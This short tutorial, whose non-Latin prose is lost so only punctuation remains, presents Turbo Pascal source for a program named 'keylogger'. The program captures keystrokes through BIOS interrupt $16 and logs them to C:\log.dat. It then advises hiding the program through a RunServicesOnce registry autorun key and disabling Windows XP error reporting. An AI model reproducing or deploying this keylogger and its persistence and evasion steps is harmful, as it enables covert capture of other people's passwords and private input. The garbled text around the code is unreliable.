       Turbo Pascal.
-          (     ),    .
:
+ Turbo Pascal,
+Windows .
     $16,    ,
         .
      :
program keylogger;
 uses Dos;
var
 k:Word;
 ch:char;
 regs:Registers;
 xts:Boolean;
 asd:Text;
function ExReadKey(var Extended_code :boolean): Char;
begin
regs.ah:=$10;
Intr($16, regs);
Extended_code:=(regs.al = 0) or (regs.al > 127);
if Extended_code then
 ExReadKey:=Chr(regs.ah)
else
ExReadKey:=Chr(regs.al);
end;

begin
Assign(asd, 'C:\log.dat');
Rewrite(asd);
for k:=1 to 22 do
begin
 repeat
  ch:=ExReadKey(xts);
 Writeln(asd, ch, ' ', ' ', ord(Ch));
 until Ch = #27;
end;
Close(asd);
end.

         ,    -,     .
               
HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce\
          .
         XP                 :HKLM\Software\Microsoft\PCHealth\ErrorReporting   0  DoReport.
